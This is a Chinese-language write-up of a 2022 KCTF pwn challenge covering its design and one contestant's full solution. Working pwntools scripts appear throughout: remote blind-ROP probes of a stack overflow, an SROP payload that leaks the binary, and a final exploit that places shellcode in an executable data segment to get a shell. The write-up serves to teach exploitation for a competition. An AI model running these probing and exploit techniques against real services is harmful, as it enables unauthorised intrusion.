看雪2022 KCTF 春季賽 | 第六題設計思路及解析

語言: CN / TW / HK

看雪 2022 KCTF春季賽  於5月10日中午12點正式開賽!

第六題《廢土末世》已於今日中午12點截止答題, 這是一道Pwn題。 經統計,此題圍觀人數 8341 人,共 4 支戰隊成功破解。

【辣雞戰隊 用時6小時44分30秒 拿下本題“一血”

接下來和我一起來看看該賽題的設計思路和相關解析吧!

出題團隊簡介

第六題《廢土末世》出題方 【 玄機安全團隊】 戰隊:

賽題設計思路

設計思路

純彙編編寫,棧溢位呼叫系統BPI。

解題思路

本題只有一個符號表,沒有使用libc中的函式,題目開始使用的系統呼叫寫入0x400資料到v1,但是v1只有0x10大小,所以存在棧溢位漏洞。

由於沒有libc,所以無法使用普通ROP構造鏈條,這裡只能打系統訊號機制,系統呼叫中read返回給rax輸入的個數,系統呼叫號15(64位)32位是77,會觸發Sigreturn,把棧上的資料返回給暫存器。

系統在執行sigreturn系統呼叫的時候,不會對signa做檢查,它不知道當前這個frame是不是之前儲存的哪個frame。

由於sigreturn會從使用者棧上恢復所有暫存器的值,而使用者棧是儲存在使用者程序的地址空間中的,是使用者程序可讀寫的。

如果攻擊者可以控制棧,也就控制了所有暫存器的值,而這一切只需要一個gadget:“syscall;retn”,並且該gadget的地址在一些較老的系統上是沒有隨機化的,通常可以在vsyscall中找到,地址為0xffffffffff600000。

如果是32位linux,則可以尋找int 80 指令,通常可以在vDSO中找到,但是這個地址可能是隨機的。

賽題解析

本賽題解析由看雪論壇學者  mb_mgodlfyn  給出:

概述

ROP,全稱 Return Oriented Programming。在存在棧溢位的情況下,通過在棧上合理佈局連線若干個以 ret 結尾的程式碼片段(gadget)實現特定的功能。

BROP,全稱 Blind Return Oriented Programming,即在沒有原始碼和二進位制的情況下通過完成 ROP 利用。

能夠完成 BROP 的前提是程式的記憶體地址在崩潰重連之後不發生改變,因為需要不斷探測不同地址的 gadget 行為,依賴探測結果的穩定性。

BROP的一般攻擊流程:探測溢位長度 -> 探測特殊gadget -> 洩露程式程式碼段記憶體 -> 白盒分析。

試探

用 nc 命令連線伺服器,遠端輸出了 "hacker, TNT!\n",然後等待輸入;隨便輸入幾個字元後回車,遠端輸出 "TNT TNT!",然後連線斷開。

如果輸入很長,則連線斷開,遠端無第二句輸出。

改變輸入長度,可以發現輸入16個字元時遠端能正常輸出第二句話,但輸入17個字元時遠端沒有輸出,因此斷定遠端的輸入緩衝區長度為16。

對於一個開啟的連線,本地可以區分出三種不同的狀態:

  • 從連線讀到一些資料:通常意味著程式正常執行,"normal"

  • 連線斷開:本地讀取時發生EOF,通常意味著遠端程式崩潰退出,"crash"

  • 連線無響應:本地讀取時一直處於等待狀態,通常意味著遠端程式阻塞在某個狀態,"stop"

可以用下面的程式區分這三種狀態:(需要Linux環境下的Python3,安裝 pwntools 包(pip3 install pwntools) )

from pwn import *

context.log_level = "critical"

def probe(v, want=b"TNT TNT!"):
s = None
try:
s = remote(ip, port)
s.recvuntil(b"hacker, TNT!\n")
s.send(v)
r = s.recv(timeout=3)
if (want is not None and want in r) or (want is None and len(r)>0):
return "normal"
else:
return "stop"
except EOFError:
return "crash"
finally:
if s:
s.close()
return None

棧上的原始值

如果溢位覆蓋的值與棧上的原始值相同,則程式會正常執行並輸出"TNT TNT!",即"normal"狀態;而不正確的覆蓋原始值則大概率會造成程式crash。

傳送長17位元組的輸入,其中前16位元組任意,第17位元組從0到255依次遍歷,然後探測程式的結果:

def test(prefix):
for i in range(256):
t = prefix + bytes([i])
c = probe(t, None)
if c != "crash":
print(hex(i), c)

test(b"a"*16)

"crash"的結果不需要關心,重點是"normal"和"stop"。以下是探測的結果(多次執行的結果相同):

0xb0 normal
0xb5 stop
0xb6 stop
0xb8 stop
0xc2 stop
0xc7 stop
0xc9 stop
0xce normal
0xec stop
0xed stop
0xee stop
0xef stop
0xf2 stop
0xf3 stop

發現了兩個"normal"的結果,如果打印出接收到的字串,會發現溢位 b"\xb0" 時收到了b"hacker, TNT!\n",而溢位 b"\xce" 時收到了 b"TNT TNT!\n"。

由此可以得出,棧上被覆蓋的第一個位元組原始值一定是 b"\xce",因為只有溢位為它時的輸出與未溢位時相同。

下一步向遠端傳送長18位元組的輸入,其中第17個位元組固定為 0xce,第18個位元組從0到255遍歷:

test(b"a"*16 + b"\xce")
0x0 normal

發現了唯一一個"normal"的狀態,繼續探測下一個位元組:

test(b"a"*16 + b"\xce\x00")
0x40 normal
0x60 normal

連線這三個值,得到兩個熟悉的地址:0x4000ce和0x6000ce。

在 Linux x64 上編譯出的 非PIE(Position Independent Executables)程式(gcc -no-pie 選項編譯,得到的程式的程式碼段和資料段的記憶體地址不會隨機化。Linux上的PIE等價於Windows上的DYNAMICBASE),其程式碼段的基地址通常是 0x400000,資料段的基地址通常是 0x600000。因此,憑藉這兩個使程式正常執行的溢位值,可以猜測遠端是64位程式,沒有開啟PIE。

為了進一步確認,這次溢位8個正確的位元組,同時作為對照,溢位7個正確的位元組+1個錯誤的位元組:

probe(b"a"*16 + p64(0x4000ce))    # "normal"
probe(b"a"*16 + p64(0x4000ce)[:7]+b"\x01") # "crash"

發現第一溢位的第8個位元組對程式的執行有影響,因此可以斷定遠端是64位程式。

尋找ret指令

現在已知輸入的第16-24個位元組會覆蓋程式的返回地址。如果把返回地址覆蓋為ret指令所在的地址,則這個ret指令會繼續取後面的8個位元組作為地址然後跳轉過去。

因此,把輸入的第24-32個位元組指定為0x4000ce,然後遍歷第16-24個位元組,檢查程式是否輸出了b"TNT TNT!\n":

def findret(prefix):
for i in range(256*256):
t = prefix + p64(0x400000 + i) + p64(0x4000ce)
c = probe(t, b"TNT TNT!\n")
if c == "normal":
print(hex(i), c)

findret(b"a"*16)

得到以下幾個地址:

0xce normal
0x101 normal
0x106 normal

0xce是已知的原始返回地址,忽略之。

現在有兩個地址:0x400101 和 0x400106,可以斷定的是 0x400106 一定指向 ret 指令,而 0x400101 不確定(因為如果一個地址指向指令序列 xxx ; ret,只要xxx指令不修改棧指標rsp,也會產生同樣的效果,但後面一定還會出現另一個更大的地址;這裡 0x400106是最大的地址,因此它一定是直接指向 ret 的)。

另外,這次遍歷的範圍擴大到了兩個位元組,但是輸出結果只有3個,表明程式在0x400106之後不再有ret指令,這極大的預示著程式的程式碼段到此就結束了。

推測程式的結構

到目前為止已經收集到了足夠的資訊,下面開始推理程式的結構。

回顧前面遇到的第一個"normal"溢位(0xb0 normal),即如果跳轉到的 0x4000b0 地址,程式就會重新開始執行,輸出 "hacker, TNT!\n",並且可以繼續進行溢位,因此可以推測 0x4000b0 就是程式的入口點。

對於64位的ELF程式,其 ELF Header 大小為 0x40 位元組,Program Header 大小為 0x38 位元組。

可執行的ELF程式至少要包含一個 ELF Header 和一個 PT_LOAD 型別的 Program Header 才能被核心載入。根據先前的探測,0x600000也是此程式一個合法的段,因此這個程式至少有兩個 Program Header,分別對應 0x400000 和 0x600000 的載入地址。

不考慮重疊,一個 ELF Header 和兩個 Program Header 需要佔用 0x40 + 0x38*2 = 0xb0 位元組的空間,而 0x4000b0 已經是程式程式碼了,因此之前的推測進一步得到驗證。

最後一個ret指令出現的位置在0x400106,則程式程式碼段的總大小估計是 0x400106+1-0x4000b0 = 87 位元組。能做到如此短小的程式碼 + 只有兩個PT_LOAD的 Program Header,此程式一定不是通常由 gcc 編譯出來的高階語言可執行檔案,而大概率是由彙編直接編寫的。

最常用的彙編工具是 nasm。nasm工具負責把彙編原始碼編譯為.o檔案,然後需要手動呼叫連結器ld生成最終的可執行檔案。

已知題目執行在 Ubuntu 系統中(只考慮LTS版本),同時代碼段的起始地址緊跟在 Header 後面,這不符合 Ubuntu 20.04 及以上的連結器預設生成的可執行檔案的記憶體佈局特徵(高版本的ld為了保持檔案頭部的位元組不可執行,會把Header和程式碼段分開在兩個segment中,此時程式碼段的起始地址是 0x401000(未開啟PIE的情況下),可以用 readelf -l 檢視 Program Header 進行比較),因此推測程式的編譯環境是 Ubuntu 18.04。

找一個 Ubuntu 18.04 的環境,apt-get 安裝 nasm,然後隨意編譯一個helloworld程式,readelf -l 發現程式的入口點確實是 0x4000b0,存在 0x400000 和 0x600000 兩個 segment,且生成的程式碼段長度相當短。至此,上面的所有猜測全部得到驗證。

推測程式碼段的結構

已知0x4000b0是入口點,0x4000ce是緊跟call指令的返回地址,0x400106是最後一個ret指令,可以初步得出以下的程式碼段佈局:

0x4000b0:
<do write "hacker, TNT!\n">
call overflow
0x4000ce:
<do write "TNT TNT!\n">
overflow:
<do read>
0x400106:
ret

因為程式不包含型別為 DYNAMIC 的 Program Header,所以程式沒有載入任何動態庫,因此對write和read的呼叫只能是直接設定相關暫存器然後呼叫syscall指令完成。自己試著按相同的邏輯編寫了一下,發現非常緊湊,如果源程式確實只有87個位元組,那麼幾乎沒有多餘的指令。

尋找syscall指令

回憶下最開始探測出來的stop gadget:[0xb5, 0xb6, 0xb8, 0xc2, 0xc7, 0xc9, 0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3]。本程式的邏輯非常簡單,因此產生stop的原因不大可能是因為迴圈,而更有可能是進入了read等待客戶端的輸入。

已知 x64 的 call 指令一般長 5 個位元組,而 call overflow 結束於 0x4000ce,那麼它的起始位置應該是 0x4000ce-5 = 0x4000c9。注意到 0xc9 是stop gadget,call overflow 會等待輸入,這是完全吻合的。

那麼從 0x4000b0 到 0x4000c9 應該只包含了 write 的邏輯,大致是先設定 rax(1,SYS_write系統呼叫號), rdi(1,stdout的檔案描述符), rsi(字串地址), rdx(字串長度),然後執行 syscall 指令。因此 syscall 指令大概率在最後執行,並隨後到達 0x4000c9 call overflow 指令。

syscall 指令長 2 個位元組,注意到 0xc7 也是一個 stop gadget,因此合理猜測 syscall 指令就位於 0x4000c7,兩位元組後恰好連到 0x4000c9。

洩漏

推測到 syscall 指令的地址後,下一個目標是構造write系統呼叫輸入出程式程式碼段的記憶體。

根據推測到的程式碼段的結構,程式裡幾乎沒有多餘的指令,大概率也不存在 pop ret ; ret 這樣的常規設定暫存器的 rop gadget。

針對這種情況(1. 溢位長度很長 2. 有syscall指令的地址 3. 幾乎沒有其他可用的gadget),可以使用 SROP(Sigreturn Oriented Programming) 一次性設定所有的暫存器同時控制住rip。

SROP 的原理是利用 sigreturn 系統呼叫,只要在 rsp 指向的棧頂記憶體佈置好Signal Frame 即可。

Signal Frame 可以直接使用 pwntools 的 SigreturnFrame 構造,不過要呼叫 sigreturn 系統呼叫需要正確設定 rax 暫存器為它的系統呼叫號,在 Linux x64 中為 15。

雖然沒有 pop rax ; ret 之類的指令,不過注意到 read 的返回值儲存在 rax 暫存器中,是輸入的長度,這是可控的。

棧幀的構造:依次佈置 \<do read\>的地址、syscall指令的地址、SigreturnFrame,其中SigreturnFrame的暫存器設定為滿足write(1, 0x400000, 0x1000),rip指向syscall指令,則sigreturn系統呼叫返回後就會跳轉到rip的位置執行write系統呼叫輸出程式記憶體。

關於 \<do read\> 的地址:需要一次呼叫read的機會,客戶端傳送恰好15個字元以控制rax的值,同時保證 rop 鏈可以走向下一步。參照推測出的程式碼段結構,最好的選擇就是跳轉到 overflow: 標籤的位置(0x4000c9 call overflow的位置不行,因為多了一個call,無法走向 rop 鏈的下一步)。這個位置可以參照探測出來的stop gadget,從[0xec, 0xed, 0xee, 0xef]中選擇,經測試在這裡選擇0xec、0xee、0xef都能成功。為了防止粘包,在兩次輸入之間添加了sleep。

from pwn import *

sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7

ip = <>
port = <>

s = remote(ip, port)
s.recvuntil(b"hacker, TNT!\n")
s.send(b'a'*16 + p64(0x4000ee) + p64(0x4000c7) + bytes(sigframe))
sleep(1)

s.send(b'a'*15)

r = s.recv()
assert r.startswith(b"\x7fELF")
with open("tnt", "wb") as f:
f.write(r)

s.close()

如果暴力做題的話,前面的分析完全不用做,直接構造 SROP,syscall指令的地址從 0x400000開始遍歷,這樣很快就能找到結果。(風險在於,如果程式是C語言編譯的動態連結ELF,通常程式碼段是不會出現syscall指令的,那麼這樣暴力不會產生結果。

真相是做到這一步卡了一段時間才突然想起來 SROP 這種很少使用的利用方式……前面的分析過程規避了風險,但也消耗了時間。

利用

現在獲取到了原始檔,可以本地反彙編以及動態除錯了。

tnt:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 <_start>:
4000b0: b8 01 00 00 00 mov eax,0x1
4000b5: 48 89 c7 mov rdi,rax
4000b8: 48 be 08 01 60 00 00 movabs rsi,0x600108
4000bf: 00 00 00
4000c2: ba 0d 00 00 00 mov edx,0xd
4000c7: 0f 05 syscall
4000c9: e8 20 00 00 00 call 4000ee <TNT66666>
4000ce: b8 01 00 00 00 mov eax,0x1
4000d3: 48 89 c7 mov rdi,rax
4000d6: 48 be 15 01 60 00 00 movabs rsi,0x600115
4000dd: 00 00 00
4000e0: ba 09 00 00 00 mov edx,0x9
4000e5: 0f 05 syscall
4000e7: b8 3c 00 00 00 mov eax,0x3c
4000ec: 0f 05 syscall

00000000004000ee <TNT66666>:
4000ee: 48 83 ec 10 sub rsp,0x10
4000f2: 48 31 c0 xor rax,rax
4000f5: ba 00 04 00 00 mov edx,0x400
4000fa: 48 89 e6 mov rsi,rsp
4000fd: 48 89 c7 mov rdi,rax
400100: 0f 05 syscall
400102: 48 83 c4 10 add rsp,0x10
400106: c3 ret

反彙編得到的指令與先前推測的程式碼段結構基本一致。

動態除錯容易發現 0x600000 的segment是 RWX 許可權,因此可以設法把shellcode寫入其中然後直接跳轉執行。

具體步驟如下:

  1. 第一次溢位時佈置一次 SROP,其中SigreturnFrame裡只需要把 rsp 設定為這個segment裡的地址(如0x600800),同時把 rip 設定為 \<do read\> 的地址(即0x4000ee)。把這一次的返回地址也覆蓋為 \<do read\> 的地址0x4000ee,然後棧上的下一個位置覆蓋為syscall指令的地址(如0x400100)。

  2. 第一次ret之後會重新執行read,輸入15個字元湊出sigreturn的系統呼叫號,則這次ret後會用構造的SigreturnFrame執行syscall sigreturn。執行之後,rsp變為了 0x600800,然後控制流再一次轉到了 0x4000ee 並等待第三次輸入。

  3. 溢位,輸入shellcode並覆蓋返回地址為對應的位置,成功getshell

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "split", "-h"]

ip = <>
port = <>

#s = process("./tnt")
s = remote(ip, port)
#attach(s)

s.recvuntil(b"hacker, TNT!\n")

sigframe = SigreturnFrame()
sigframe.rip = 0x4000ee
sigframe.rsp = 0x600800

s.send(b'a'*16 + p64(0x4000ee) + p64(0x400100) + bytes(sigframe))
sleep(1)

s.send(b'a'*15)
sleep(1)

s.send(b'a'*16 + p64(0x600808) + asm(shellcraft.sh()))

s.interactive()

其他

注意到0x600000的segment是程式的資料段,在本程式中卻有了可執行許可權。

原因是程式的 Program Header 缺少一個型別為 GNU_STACK 的段。Linux核心會根據這個段決定程式的資料段是否可執行(即NX保護是否開啟。在Windows上相應的保護機制稱為DEP)。如果這個段指定了可執行許可權或者缺少此段,則核心會新增 READ_IMPLIES_EXEC 的 personality,這會讓所有帶有 PROT_READ 選項的 mmap 系統呼叫建立的記憶體對映自動帶有可執行許可權。

參考: https://stackoverflow.com/questions/61909762/when-setting-execution-bit-on-pt-gnu-stack-program-header-why-do-all-segments-o 

即使不存在這個RWX段,本題仍然可以利用。由於程式中存在 syscall ; ... ; ret 序列(0x400100-0x400107),只要能找到一塊已知地址的可寫記憶體佈置連續的SigreturnFrame幀即可。

例如,在第一次溢位時佈置SigreturnFrame幀,其引數為mprotect(0x400000, 0x1000, 7),rsp為0x400000-0x401000中的一個地址,同時把返回地址覆蓋為0x4000ec,這樣第一次sigreturn之後棧已經遷移到了0x400000段上,同時先執行0x4000ec處syscall呼叫mprotect把0x400000段改為可寫可執行,然後控制流順次到達0x4000ee開啟下一次read,之後就是常規構造(可參考文末連結的參考教程)。

或者通過控制read的字元數量為1(SYS_write),然後跳轉到0x4000f5,write出棧的內容,輸出內容大概率會有棧地址,此時得到了已知地址的可寫記憶體段,再通過一次SROP把棧遷移過去,之後是常規構造。

另外,從vsyscall裡找gadget是不能成功的,因為高版本核心基本都開啟了 vsyscall emulate,vsyscall段的記憶體實際上僅僅是模擬以向下相容,核心會對入口做嚴格的檢查,直接跳到中間的syscall指令是無法執行的。

總結

本題是一道很好的BROP+SROP教學題,涉及的知識點很基礎,大部分PWN的入門教程都有介紹;同時程式完全用匯編編寫,避開了常規BROP的 __libc_csu_init 特徵gadget,從而大部分現有exp不能直接照抄。

關於BROP和SROP的兩篇基本教程:

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#brop;


https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

第七題《一觸即發》正在進行中

:point_up_2:還在等什麼,快來參賽吧!

如何成為一名出色的CTF選手?

*點選圖片檢視詳情

入門-基礎-進階-強化,只需四個階段! 搖身一變成為主力、中堅力量

球分享

球點贊

球在看

“閱讀原文 展開第七題的戰鬥!